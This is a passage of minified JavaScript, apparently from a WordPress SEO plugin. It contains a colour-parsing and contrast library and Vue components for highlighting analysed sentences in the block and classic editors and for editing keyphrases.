e,i,s,o},xo=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,Ao=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,Lo=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,Mo=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,Mt={string:[[function(t){var e=To.exec(t);return e?(t=e[1]).length<=4?{r:parseInt(t[0]+t[0],16),g:parseInt(t[1]+t[1],16),b:parseInt(t[2]+t[2],16),a:t.length===4?A(parseInt(t[3]+t[3],16)/255,2):1}:t.length===6||t.length===8?{r:parseInt(t.substr(0,2),16),g:parseInt(t.substr(2,2),16),b:parseInt(t.substr(4,2),16),a:t.length===8?A(parseInt(t.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(t){var e=Lo.exec(t)||Mo.exec(t);return e?e[2]!==e[4]||e[4]!==e[6]?null:Zt({r:Number(e[1])/(e[2]?100/255:1),g:Number(e[3])/(e[4]?100/255:1),b:Number(e[5])/(e[6]?100/255:1),a:e[7]===void 0?1:Number(e[7])/(e[8]?100:1)}):null},"rgb"],[function(t){var e=xo.exec(t)||Ao.exec(t);if(!e)return null;var i,s,o=Jt({h:(i=e[1],s=e[2],s===void 0&&(s="deg"),Number(i)*(Eo[s]||1)),s:Number(e[3]),l:Number(e[4]),a:e[5]===void 0?1:Number(e[5])/(e[6]?100:1)});return Qt(o)},"hsl"]],object:[[function(t){var e=t.r,i=t.g,s=t.b,o=t.a,r=o===void 0?1:o;return F(e)&&F(i)&&F(s)?Zt({r:Number(e),g:Number(i),b:Number(s),a:Number(r)}):null},"rgb"],[function(t){var e=t.h,i=t.s,s=t.l,o=t.a,r=o===void 0?1:o;if(!F(e)||!F(i)||!F(s))return null;var u=Jt({h:Number(e),s:Number(i),l:Number(s),a:Number(r)});return Qt(u)},"hsl"],[function(t){var e=t.h,i=t.s,s=t.v,o=t.a,r=o===void 0?1:o;if(!F(e)||!F(i)||!F(s))return null;var u=function(c){return{h:xe(c.h),s:R(c.s,0,100),v:R(c.v,0,100),a:R(c.a)}}({h:Number(e),s:Number(i),v:Number(s),a:Number(r)});return Le(u)},"hsv"]]},te=function(t,e){for(var i=0;i=.5},t.prototype.toHex=function(){return e=Pt(this.rgba),i=e.r,s=e.g,o=e.b,u=(r=e.a)<1?ut(A(255*r)):"","#"+ut(i)+ut(s)+ut(o)+u;var e,i,s,o,r,u},t.prototype.toRgb=function(){return Pt(this.rgba)},t.prototype.toRgbString=function(){return e=Pt(this.rgba),i=e.r,s=e.g,o=e.b,(r=e.a)<1?"rgba("+i+", "+s+", "+o+", "+r+")":"rgb("+i+", "+s+", "+o+")";var e,i,s,o,r},t.prototype.toHsl=function(){return Xt(it(this.rgba))},t.prototype.toHslString=function(){return e=Xt(it(this.rgba)),i=e.h,s=e.s,o=e.l,(r=e.a)<1?"hsla("+i+", "+s+"%, "+o+"%, "+r+")":"hsl("+i+", "+s+"%, "+o+"%)";var e,i,s,o,r},t.prototype.toHsv=function(){return e=Ae(this.rgba),{h:A(e.h),s:A(e.s),v:A(e.v),a:A(e.a,3)};var e},t.prototype.invert=function(){return U({r:255-(e=this.rgba).r,g:255-e.g,b:255-e.b,a:e.a});var e},t.prototype.saturate=function(e){return e===void 0&&(e=.1),U(Et(this.rgba,e))},t.prototype.desaturate=function(e){return e===void 0&&(e=.1),U(Et(this.rgba,-e))},t.prototype.grayscale=function(){return U(Et(this.rgba,-1))},t.prototype.lighten=function(e){return e===void 0&&(e=.1),U(ee(this.rgba,e))},t.prototype.darken=function(e){return e===void 0&&(e=.1),U(ee(this.rgba,-e))},t.prototype.rotate=function(e){return e===void 0&&(e=15),this.hue(this.hue()+e)},t.prototype.alpha=function(e){return typeof e=="number"?U({r:(i=this.rgba).r,g:i.g,b:i.b,a:e}):A(this.rgba.a,3);var i},t.prototype.hue=function(e){var i=it(this.rgba);return typeof e=="number"?U({h:e,s:i.s,l:i.l,a:i.a}):A(i.h)},t.prototype.isEqual=function(e){return this.toHex()===U(e).toHex()},t}(),U=function(t){return t instanceof Ht?t:new Ht(t)},se=[],Io=function(t){t.forEach(function(e){se.indexOf(e)<0&&(e(Ht,Mt),se.push(e))})};function Bo(t,e){var i={white:"#ffffff",bisque:"#ffe4c4",blue:"#0000ff",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",antiquewhite:"#faebd7",aqua:"#00ffff",azure:"#f0ffff",whitesmoke:"#f5f5f5",papayawhip:"#ffefd5",plum:"#dda0dd",blanchedalmond:"#ffebcd",black:"#000000",gold:"#ffd700",goldenrod:"#daa520",gainsboro:"#dcdcdc",cornsilk:"#fff8dc",cornflowerblue:"#6495ed",burlywood:"#deb887",aquamarine:"#7fffd4",beige:"#f5f5dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkkhaki:"#bdb76b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",peachpuff:"#ffdab9",darkmagenta:"#8b008b",darkred:"#8b0000",darkorchid:"#9932cc",darkorange:"#ff8c00",darkslateblue:"#483d8b",gray:"#808080",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",deeppink:"#ff1493",deepskyblue:"#00bfff",wheat:"#f5deb3",firebrick:"#b22222",floralwhite:"#fffaf0",ghostwhite:"#f8f8ff",darkviolet:"#9400d3",magenta:"#ff00ff",green:"#008000",dodgerblue:"#1e90ff",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",blueviolet:"#8a2be2",forestgreen:"#228b22",lawngreen:"#7cfc00",indianred:"#cd5c5c",indigo:"#4b0082",fuchsia:"#ff00ff",brown:"#a52a2a",maroon:"#800000",mediumblue:"#0000cd",lightcoral:"#f08080",darkturquoise:"#00ced1",lightcyan:"#e0ffff",ivory:"#fffff0",lightyellow:"#ffffe0",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",linen:"#faf0e6",mediumaquamarine:"#66cdaa",lemonchiffon:"#fffacd",lime:"#00ff00",khaki:"#f0e68c",mediumseagreen:"#3cb371",limegreen:"#32cd32",mediumspringgreen:"#00fa9a",lightskyblue:"#87cefa",lightblue:"#add8e6",midnightblue:"#191970",lightpink:"#ffb6c1",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",mintcream:"#f5fffa",lightslategray:"#778899",lightslategrey:"#778899",navajowhite:"#ffdead",navy:"#000080",mediumvioletred:"#c71585",powderblue:"#b0e0e6",palegoldenrod:"#eee8aa",oldlace:"#fdf5e6",paleturquoise:"#afeeee",mediumturquoise:"#48d1cc",mediumorchid:"#ba55d3",rebeccapurple:"#663399",lightsteelblue:"#b0c4de",mediumslateblue:"#7b68ee",thistle:"#d8bfd8",tan:"#d2b48c",orchid:"#da70d6",mediumpurple:"#9370db",purple:"#800080",pink:"#ffc0cb",skyblue:"#87ceeb",springgreen:"#00ff7f",palegreen:"#98fb98",red:"#ff0000",yellow:"#ffff00",slateblue:"#6a5acd",lavenderblush:"#fff0f5",peru:"#cd853f",palevioletred:"#db7093",violet:"#ee82ee",teal:"#008080",slategray:"#708090",slategrey:"#708090",aliceblue:"#f0f8ff",darkseagreen:"#8fbc8f",darkolivegreen:"#556b2f",greenyellow:"#adff2f",seagreen:"#2e8b57",seashell:"#fff5ee",tomato:"#ff6347",silver:"#c0c0c0",sienna:"#a0522d",lavender:"#e6e6fa",lightgreen:"#90ee90",orange:"#ffa500",orangered:"#ff4500",steelblue:"#4682b4",royalblue:"#4169e1",turquoise:"#40e0d0",yellowgreen:"#9acd32",salmon:"#fa8072",saddlebrown:"#8b4513",sandybrown:"#f4a460",rosybrown:"#bc8f8f",darksalmon:"#e9967a",lightgoldenrodyellow:"#fafad2",snow:"#fffafa",lightgrey:"#d3d3d3",lightgray:"#d3d3d3",dimgray:"#696969",dimgrey:"#696969",olivedrab:"#6b8e23",olive:"#808000"},s={};for(var o in i)s[i[o]]=o;var r={};t.prototype.toName=function(u){if(!(this.rgba.a||this.rgba.r||this.rgba.g||this.rgba.b))return"transparent";var c,p,S=s[this.toHex()];if(S)return S;if(u!=null&&u.closest){var C=this.toRgb(),$=1/0,v="black";if(!r.length)for(var b in i)r[b]=new t(i[b]).toRgb();for(var k in i){var M=(c=C,p=r[k],Math.pow(c.r-p.r,2)+Math.pow(c.g-p.g,2)+Math.pow(c.b-p.b,2));M<$&&($=M,v=k)}return v}},e.string.push([function(u){var c=u.toLowerCase(),p=c==="transparent"?"#0000":i[c];return p?new t(p).toRgb():null},"name"])}var xt=function(t){var e=t/255;return e<.04045?e/12.92:Math.pow((e+.055)/1.055,2.4)},At=function(t){return .2126*xt(t.r)+.7152*xt(t.g)+.0722*xt(t.b)};function Ro(t){t.prototype.luminance=function(){return e=At(this.rgba),(i=2)===void 0&&(i=0),s===void 0&&(s=Math.pow(10,i)),Math.round(s*e)/s+0;var e,i,s},t.prototype.contrast=function(e){e===void 0&&(e="#FFF");var i,s,o,r,u,c,p,S=e instanceof t?e:new t(e);return r=this.rgba,u=S.toRgb(),c=At(r),p=At(u),i=c>p?(c+.05)/(p+.05):(p+.05)/(c+.05),(s=2)===void 0&&(s=0),o===void 0&&(o=Math.pow(10,s)),Math.floor(o*i)/o+0},t.prototype.isReadable=function(e,i){return e===void 0&&(e="#FFF"),i===void 0&&(i={}),this.contrast(e)>=(c=(u=(s=i).size)===void 0?"normal":u,(r=(o=s.level)===void 0?"AA":o)==="AAA"&&c==="normal"?7:r==="AA"&&c==="large"?3:4.5);var s,o,r,u,c}}Io([Bo,Ro]);function oe(t,e){const i=U(e),s=({color:r})=>i.contrast(r),o=Math.max(...t.map(s));return t.find(r=>s(r)===o).color}const Oo={setup(){return{truSeoHighlighterStore:rt()}},emits:["next","previous"],components:{SvgEllipse:Se,SvgCaret:_t,SvgClose:It},data(){return{error:this.truSeoHighlighterStore.highlightAnalyzerHasError,order:this.truSeoHighlighterStore.highlightMarks.findIndex(t=>t.active)+1,total:this.truSeoHighlighterStore.highlightMarks.length}},methods:{close(){this.truSeoHighlighterStore.toggleHighlightAnalyzer(null)}}},Do=t=>(pe("data-v-966cf3f9"),t=t(),ge(),t),No={class:"tru-seo-highlight-popover","data-arrow-placement":"right"},Vo={class:"tru-seo-highlight-popover__count"},Uo=Do(()=>h("div",{class:"tru-seo-highlight-popover__pipe"},null,-1)),Ko={class:"tru-seo-highlight-popover__nav"},Go=["disabled"],Fo=["disabled"],qo={class:"tru-seo-highlight-popover__close"};function zo(t,e,i,s,o,r){const u=a("svg-ellipse"),c=a("svg-caret"),p=a("svg-close");return n(),f("div",No,[h("div",{class:E(["tru-seo-highlight-popover__bullet",{"tru-seo-highlight-popover__bullet--error":o.error}])},[d(u,{width:"8"})],2),h("div",Vo,[h("span",null,m(o.order)+"/"+m(o.total),1)]),Uo,h("div",Ko,[h("button",{type:"button",class:"caret-wrapper caret-wrapper--previous",tabindex:"0",disabled:o.order===1,onClick:e[0]||(e[0]=H(S=>t.$emit("previous"),["stop","exact"]))},[d(c,{width:"20"})],8,Go),h("button",{type:"button",class:"caret-wrapper",tabindex:"0",disabled:o.order===o.total,onClick:e[1]||(e[1]=H(S=>t.$emit("next"),["stop","exact"]))},[d(c,{width:"20"})],8,Fo)]),h("div",qo,[h("button",{type:"button",class:"close-wrapper",tabindex:"0",onClickOnce:e[2]||(e[2]=H((...S)=>r.close&&r.close(...S),["stop","exact"]))},[d(p,{width:"10"})],32)])])}const Wo=y(Oo,[["render",zo],["__scopeId","data-v-966cf3f9"]]),jo={setup(){return{truSeoHighlighterStore:rt()}},computed:{...De(rt),markBgColor(){var s,o;const t="#cce0ff";if(typeof oe!="function")return t;const e=((s=this.getEditorNode("first-block"))==null?void 0:s.parentElement)||{},i=Object.values(e).length?(o=document.defaultView.getComputedStyle(e))==null?void 0:o.backgroundColor:"";return i&&!i.match(/(fffff|255,\s?255,\s?255|rgba)/gi)?oe([{color:"#e6f0ff"},{color:t},{color:"#b3d1ff"}],i):t}},data(){var t,e,i,s;return{editorObserver:null,editorWrapperRect:{},isBlockEditor:mt(),isClassicEditor:le(),tinymceEditor:null,selectBlockEditor:(e=(t=window==null?void 0:window.wp)==null?void 0:t.data)==null?void 0:e.select("core/block-editor"),selectEditPost:(s=(i=window==null?void 0:window.wp)==null?void 0:i.data)==null?void 0:s.select("core/edit-post"),strings:{highlightSections:this.$t.__("Highlight sections in the Editor",this.$td)}}},methods:{annotateBlock(t){var i,s,o,r,u,c;let e="content";(s=(i=t.block)==null?void 0:i.attributes)!=null&&s.caption?e="caption":(r=(o=t.block)==null?void 0:o.attributes)!=null&&r.value?e="value":(c=(u=t.block)==null?void 0:u.attributes)!=null&&c.citation&&(e="citation"),this.truSeoHighlighterStore.dispatchAnnotations.__experimentalAddAnnotation({id:t.id,range:t.range,source:this.truSeoHighlighterStore.source,blockClientId:t.block.clientId,richTextIdentifier:e})},annotateTinyMce(t,e){if(!e)return!1;!e.hasFocus()&&this.isBlockEditor&&e.focus();let i=e.selection.win.getSelection();i.selectAllChildren(t.parent);const s=i.toString().length;if(t.range.end{e.annotator.annotate(this.truSeoHighlighterStore.source,{uid:t.id})}),i.empty()},appendHighlightPopover(){if(this.truSeoHighlighterStore.clearHighlightPopover(),this.truSeoHighlighterStore.sanitizeHighlightMarks(),!this.truSeoHighlighterStore.activeMark)return!1;const t=this,e=Je({name:"TruSeoHighlightPopover",render(){return Xe(Wo,{onNext(){t.incrementActiveMark(1)},onPrevious(){t.incrementActiveMark(-1)}})}}),i=as(),s=new ResizeObserver($t(this.repositionHighlightPopover,750)),o=this.getEditorNode("wrapper");if(!o)return!1;o.parentElement.appendChild(i),e.mount(i),s.observe(this.getEditorNode("wrapper"),{box:"border-box"}),this.truSeoHighlighterStore.highlightPopover.app=e,this.truSeoHighlighterStore.highlightPopover.node=i,this.truSeoHighlighterStore.highlightPopover.observer=s,this.repositionHighlightPopover()},disallowHighlighting(){this.truSeoHighlighterStore.toggleHighlightAnalyzer(null),this.truSeoHighlighterStore.allowHighlighting=!1},formatBlockContent({block:t,node:e}){var s,o,r,u;let i="";return e?i=e.outerText.replace(/\n\n/g,` `):t&&(i=((s=t==null?void 0:t.attributes)==null?void 0:s.content)||((o=t==null?void 0:t.attributes)==null?void 0:o.caption)||((r=t==null?void 0:t.attributes)==null?void 0:r.value)||((u=t==null?void 0:t.attributes)==null?void 0:u.citation)||"",i=i.replace(/]*>/gi,` `),i=Ne(i)),ls(i)},getEditorNode(t){var e;if(t==="closest-relative")return wt({element:this.getEditorNode("wrapper").parentElement,property:"position",value:"relative"});if(t==="navigable")return wt({element:this.getEditorNode("wrapper").parentElement,property:"overflow-y",value:"auto"});if(this.isClassicEditor){if(t==="wrapper")return document.getElementById("content_ifr");if(t==="first-block")return((e=this.tinymceEditor.getBody())==null?void 0:e.firstElementChild)||{}}if(this.isBlockEditor){if(t==="wrapper")return document.querySelector(".editor-styles-wrapper");if(t==="first-block"){const i=this.selectBlockEditor.getBlocks()[0];return document.getElementById(`block-${i==null?void 0:i.clientId}`)||{}}}},highlightBlockEditor(){var t;for(const e of this.selectBlockEditor.getBlocks()||[]){if(e.name==="core/freeform"){const i=window.tinymce.get(`editor-${e.clientId}`),s=((t=i.getBody())==null?void 0:t.children)||[];if(!s.length)continue;this.registerTinyMceAnnotator(i);for(const o of s)this.setHighlightMarks({block:e,node:o});continue}this.setHighlightMarks({block:e,node:null})}for(const[e,i]of Object.entries(this.truSeoHighlighterStore.highlightMarks))this.observeMarkParent(i.parent,parseInt(e)===this.truSeoHighlighterStore.highlightMarks.length-1),i.block.name==="core/freeform"?this.annotateTinyMce(i,window.tinymce.get(`editor-${i.block.clientId}`)):this.annotateBlock(i)},highlightClassicEditor(){var e;const t=((e=this.tinymceEditor.getBody())==null?void 0:e.children)||[];if(!t.length)return!1;this.registerTinyMceAnnotator(this.tinymceEditor);for(const i of t)this.setHighlightMarks({block:null,node:i});for(const[i,s]of Object.entries(this.truSeoHighlighterStore.highlightMarks))this.observeMarkParent(s.parent,parseInt(i)===this.truSeoHighlighterStore.highlightMarks.length-1),this.annotateTinyMce(s,this.tinymceEditor)},incrementActiveMark(t){const e=this.truSeoHighlighterStore.highlightMarks.findIndex(i=>i.active);if(!this.truSeoHighlighterStore.highlightMarks[e+t])return!1;this.truSeoHighlighterStore.allowScrolling=!0,this.truSeoHighlighterStore.highlightMarks[e].active=!1,this.truSeoHighlighterStore.highlightMarks[e+t].active=!0,this.appendHighlightPopover()},listenWindowCopy(t){var r,u;const e=()=>{t.preventDefault(),t.clipboardData.setData("text/html",window.getSelection().toString())},i=window.getSelection()||{};if(!(i!=null&&i.rangeCount))return!1;const s=((r=t.clipboardData)==null?void 0:r.getData("text/html"))||"";if(s&&s.indexOf(this.truSeoHighlighterStore.source)!==-1)return e(),!1;const o=i.getRangeAt(0)||{};for(const c of Object.values(((u=o==null?void 0:o.cloneContents())==null?void 0:u.children)||[]))if(Object.values((c==null?void 0:c.classList)||[]).some(p=>p.endsWith(this.truSeoHighlighterStore.source)))return e(),!1},listenWindowKeyup(t){var r,u;const e=(c,p)=>{c.collapse(p.firstChild,p.firstChild.length),c.deleteFromDocument()};if(["Delete","Backspace"].indexOf(t.key)===-1)return!1;const i=window.getSelection()||null;if(!(i!=null&&i.toString()))return!1;const s=((r=i==null?void 0:i.anchorNode)==null?void 0:r.parentElement)||null,o=((u=i==null?void 0:i.anchorNode)==null?void 0:u.nextElementSibling)||null;Object.values((s==null?void 0:s.classList)||[]).some(c=>c.endsWith(this.truSeoHighlighterStore.source))?e(i,s):Object.values((o==null?void 0:o.classList)||[]).some(c=>c.endsWith(this.truSeoHighlighterStore.source))&&e(i,o)},observeEditor(){var e;this.editorObserver=new MutationObserver(i=>{let s=!1;for(const o of i)for(const r of(o==null?void 0:o.removedNodes)||[])(this.truSeoHighlighterStore.highlightMarks.some(u=>r.isEqualNode(u.parent))||Object.values((r==null?void 0:r.classList)||[]).some(u=>u.endsWith(this.truSeoHighlighterStore.source)))&&(s=!0);s&&this.reset()});const t=(e=this.getEditorNode("first-block"))==null?void 0:e.parentElement;if(typeof t!="object")return!1;this.editorObserver.observe(t,{attributes:!1,childList:!0,subtree:!0})},observeMarkParent(t,e=!1){const i=(o,r)=>{var u;r.disconnect();for(const c of o){if(Object.values(((u=c==null?void 0:c.target)==null?void 0:u.classList)||[]).some(p=>p.endsWith(this.truSeoHighlighterStore.source))){this.setHighlightMarkNode(c.target);continue}for(const p of(c==null?void 0:c.addedNodes)||[])if(Object.values((p==null?void 0:p.classList)||[]).some(S=>S.endsWith(this.truSeoHighlighterStore.source))){this.setHighlightMarkNode(p);break}}e&&this.$nextTick().then(()=>$t(this.appendHighlightPopover,250)())};if(typeof(t==null?void 0:t.parentElement)!="object")return!1;new MutationObserver(i).observe(t,{attributes:!0,childList:!0,subtree:!0})},observeWpBodyContent(){const t=e=>{var i,s,o;for(const r of e){if((r==null?void 0:r.type)!=="attributes")continue;if(!wt({element:(i=this.getEditorNode("wrapper"))==null?void 0:i.parentElement,property:"display",value:"none"}).isEqualNode(document.documentElement))return this.disallowHighlighting(),!1;if(this.isBlockEditor&&(this.selectEditPost.getEditorMode()!=="visual"||this.selectBlockEditor.getBlockMode((s=this.selectBlockEditor.getSelectedBlock())==null?void 0:s.clientId)==="html"))return this.disallowHighlighting(),!1;if(this.isClassicEditor&&(this.setTinymceEditor(),((o=document.getElementById("content"))==null?void 0:o.nodeName)==="TEXTAREA"&&document.getElementById("content").style.display!=="none"))return this.disallowHighlighting(),!1;this.truSeoHighlighterStore.allowHighlighting=!0}};this.wpBodyContentObserver=new MutationObserver($t(t,250)),this.wpBodyContentObserver.observe(document.getElementById("wpbody-content"),{attributes:!0,childList:!1,subtree:!0})},registerTinyMceAnnotator(t){t.annotator.register(this.truSeoHighlighterStore.source,{persistent:!1,decorate:()=>({classes:["annotation-text",`annotation-text-${this.truSeoHighlighterStore.source}`]})})},repositionHighlightPopover(t=[]){var S;if(!this.truSeoHighlighterStore.activeMark||!this.truSeoHighlighterStore.highlightPopover.node)return!1;for(const C of t)if(JSON.stringify(C.contentRect)===JSON.stringify(this.editorWrapperRect))return!1;t.length&&(this.editorWrapperRect=((S=t[0])==null?void 0:S.contentRect)||this.editorWrapperRect,this.truSeoHighlighterStore.allowScrolling=!1);const e=this.truSeoHighlighterStore.activeMark.node.getBoundingClientRect(),i=this.getEditorNode("wrapper").getBoundingClientRect(),s=this.getEditorNode("closest-relative").getBoundingClientRect(),o=this.getEditorNode("first-block").getBoundingClientRect(),[r,u]=[140,32];let c=e.top,p=o.left-s.left;r{if(!this.truSeoHighlighterStore.highlightSentences)return this.truSeoHighlighterStore.toggleHighlightAnalyzer(null),!1;this.isBlockEditor&&this.highlightBlockEditor(),this.isClassicEditor&&this.highlightClassicEditor(),this.observeEditor(),window.addEventListener("copy",this.listenWindowCopy),window.addEventListener("keyup",this.listenWindowKeyup)})},scrollToHighlightMark(){this.$nextTick().then(()=>{var i,s,o,r;if(!this.truSeoHighlighterStore.allowScrolling)return!1;this.truSeoHighlighterStore.activeMark.node.scrollIntoView();let t=this.getEditorNode("navigable"),e=t.scrollTop-60;this.isClassicEditor&&(e-=((s=(i=document.querySelector("#wp-content-editor-tools"))==null?void 0:i.getBoundingClientRect())==null?void 0:s.height)||0,e-=((r=(o=document.querySelector("#wp-content-editor-container .mce-toolbar-grp"))==null?void 0:o.getBoundingClientRect())==null?void 0:r.height)||0),t.isEqualNode(document.documentElement)&&(t=window),t.scrollTo({top:e}),this.truSeoHighlighterStore.allowScrolling=!1})},setHighlightMarkNode(t){const e=this.truSeoHighlighterStore.highlightMarks.findIndex(i=>t.hasAttribute("data-mce-annotation-uid")?t.dataset.mceAnnotationUid.indexOf(i.id)!==-1:t.id.indexOf(i.id)!==-1);e!==-1&&(this.truSeoHighlighterStore.highlightMarks[e].node=t,t.style.backgroundColor=this.markBgColor)},setHighlightMarks({block:t,node:e}){const i=this.formatBlockContent({block:t,node:e});if(i)for(const[s,o]of Object.entries(this.truSeoHighlighterStore.highlightSentences||{})){const r=new RegExp(X(o),"g");let u;for(;(u=r.exec(i))!==null&&!this.truSeoHighlighterStore.highlightMarks.find(S=>S.sentenceIndex===s);){const c={start:u.index,end:u.index+u[0].length||1};this.truSeoHighlighterStore.highlightMarks.find(S=>e?(S.range.start===c.start||S.range.end===c.end)&&S.parent.isEqualNode(e):(S.range.start===c.start||S.range.end===c.end)&&S.block.clientId===t.clientId)||this.truSeoHighlighterStore.highlightMarks.push({id:oo(1,999999999),range:c,block:t,parent:e||document.getElementById(`block-${t.clientId}`),node:null,active:this.truSeoHighlighterStore.highlightMarks.length===0,sentenceIndex:s})}}if(t)for(const s of(t==null?void 0:t.innerBlocks)||[])this.setHighlightMarks({block:s,node:null})},setTinymceEditor(){if(this.tinymceEditor)return!1;const t=window.setInterval(()=>{var e;if(this.tinymceEditor=((e=window==null?void 0:window.tinymce)==null?void 0:e.get("content"))||null,!this.tinymceEditor)return!1;window.clearInterval(t),this.tinymceEditor.dom.addStyle(` span.annotation-text.annotation-text-${this.truSeoHighlighterStore.source} { background-color: #CCE0FF; border-radius: 4px; color: inherit; display: inline; font-size: inherit; font-weight: inherit; letter-spacing: inherit; line-height: inherit; position: static; } `.trim())},500)},watchHighlightSentences(t,e){const i=JSON.stringify(t),s=JSON.stringify(e);i!==s&&this.reset()}},beforeMount(){if((pt()||!this.isBlockEditor&&!this.isClassicEditor)&&(this.truSeoHighlighterStore.enabled=!1),this.isBlockEditor&&(!this.truSeoHighlighterStore.dispatchAnnotations||!this.selectBlockEditor||!this.selectEditPost)&&(this.truSeoHighlighterStore.enabled=!1),!this.truSeoHighlighterStore.enabled)return!1},mounted(){var e;this.wpBodyContentObserver&&((e=this.wpBodyContentObserver)==null||e.disconnect());const t=window.setInterval(()=>{typeof this.getEditorNode("wrapper")=="object"&&(window.clearInterval(t),this.observeWpBodyContent())},1e3)}},Yo={emits:["selectedKeyphrase","deleted","saved"],components:{CoreTooltip:G,SvgPencil:ft,SvgTrash:St},props:{index:{type:Number},keyphrase:{type:String},score:{type:Number}},data(){return{edit:!1,strings:{delete:this.$t.__("Delete",this.$td)}}},computed:{scoreClass(){return 80r.toggleKeyphrasesPanel(i.index))},m(i.keyphrase),1),h("span",{class:"keyphrase-edit",onClick:e[1]||(e[1]=S=>r.editKeyphraseEv(i.index))},[d(u)]),h("span",{class:E(["keyphrase-score",r.scoreClass]),onClick:e[2]||(e[2]=S=>r.toggleKeyphrasesPanel(i.index))},m(i.score)+"/100",3)],2),o.edit?(n(),f("span",Jo,[h("input",{value:i.keyphrase,onBlur:e[3]||(e[3]=(...S)=>r.closeEdit&&r.closeEdit(...S)),onKeydown:e[4]||(e[4]=Rt((...S)=>r.pressEnter&&r.pressEnter(...S),["enter"]))},null,40,Xo),h("span",{class:"keyphrase-delete",onClick:e[5]||(e[5]=S=>r.deleteKeyphraseEv(i.index))},[d(p,{type:"action"},{tooltip:l(()=>[w(m(o.strings.delete),1)]),default:l(()=>[d(c)]),_:1})])])):g("",!0)])}const Me=y(Yo,[["render",Qo]]),ti={},ei={width:"16",height:"11",viewBox:"0 0 16 11",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-eye-filled"},si=h("path",{d:"M8.0018 8.57162C8.78938 8.57162 9.45817 8.29596 10.0082 7.74465C10.5582 7.19335 10.8332 6.5239 10.8332 5.73632C10.8332 4.94874 10.5575 4.27995 10.0062 3.72995C9.4549 3.17995 8.78546 2.90495 7.99787 2.90495C7.21029 2.90495 6.5415 3.1806 5.9915 3.73191C5.4415 4.28322 5.1665 4.95266 5.1665 5.74025C5.1665 6.52783 5.44216 7.19661 5.99347 7.74661C6.54477 8.29662 7.21422 8.57162 8.0018 8.57162ZM7.99592 7.60495C7.47631 7.60495 7.03595 7.42309 6.67484 7.05937C6.31373 6.69563 6.13317 6.25396 6.13317 5.73436C6.13317 5.21475 6.31503 4.77439 6.67875 4.41328C7.04249 4.05217 7.48415 3.87161 8.00375 3.87161C8.52337 3.87161 8.96373 4.05348 9.32484 4.4172C9.68595 4.78093 9.8665 5.2226 9.8665 5.7422C9.8665 6.26181 9.68464 6.70217 9.32092 7.06328C8.95719 7.42439 8.51552 7.60495 7.99592 7.60495ZM7.99984 10.7383C6.37762 10.7383 4.91095 10.2772 3.59984 9.35495C2.28873 8.43273 1.31095 7.22717 0.666504 5.73828C1.31095 4.24939 2.28873 3.04384 3.59984 2.12161C4.91095 1.19939 6.37762 0.738281 7.99984 0.738281C9.62206 0.738281 11.0887 1.19939 12.3998 2.12161C13.7109 3.04384 14.6887 4.24939 15.3332 5.73828C14.6887 7.22717 13.7109 8.43273 12.3998 9.35495C11.0887 10.2772 9.62206 10.7383 7.99984 10.7383Z",fill:"currentColor"},null,-1),oi=[si];function ii(t,e){return n(),f("svg",ei,oi)}const ri=y(ti,[["render",ii]]),ni={setup(){return{truSeoHighlighterStore:rt()}},components:{CoreTooltip:G,SvgEye:Ut,SvgEyeFilled:ri},props:{analyzer:String},data(){return{strings:{highlightSections:this.$t.__("Highlight sections in the Editor",this.$td),highlightingIsDisabled:this.$t.__("Highlighting is disabled for current view",this.$td)}}},methods:{onClickBtnToggleHighlighter(){this.truSeoHighlighterStore.toggleHighlightAnalyzer(this.analyzer)}}},ai=["disabled"];function li(t,e,i,s,o,r){const u=a("svg-eye"),c=a("core-tooltip"),p=a("svg-eye-filled");return s.truSeoHighlighterStore.enabled?(n(),f("button",{key:0,type:"button",class:"tru-seo-toggle-highlighter",disabled:!s.truSeoHighlighterStore.allowHighlighting,onClick:e[0]||(e[0]=H(S=>r.onClickBtnToggleHighlighter(),["stop","exact"]))},[s.truSeoHighlighterStore.highlightAnalyzer!==i.analyzer?(n(),_(c,{key:0,offset:t.$root._data.screenContext==="sidebar"?"-200px,0":"",type:"action"},{tooltip:l(()=>[w(m(s.truSeoHighlighterStore.allowHighlighting?o.strings.highlightSections:o.strings.highlightingIsDisabled),1)]),default:l(()=>[d(u,{width:"16",height:"16"})]),_:1},8,["offset"])):(n(),_(p,{key:1,width:"16",height:"16"}))],8,ai)):g("",!0)}const di=y(ni,[["render",li]]),ci={components:{SvgCaret:_t,SvgCircleCheck:Bt,SvgCircleClose:ze,TruSeoToggleHighlighter:di},props:{analysisItems:{type:Object}},methods:{toggleDescriptionEv(t){t.target.parentElement.classList.toggle("toggled")}}},hi={class:"aioseo-analysis-detail"},ui={key:0},pi={class:"title__text"},gi={class:"description"};function mi(t,e,i,s,o,r){const u=a("svg-circle-check"),c=a("svg-circle-close"),p=a("tru-seo-toggle-highlighter"),S=a("svg-caret");return n(),f("ul",hi,[(n(!0),f(j,null,et(i.analysisItems,(C,$)=>{var v;return 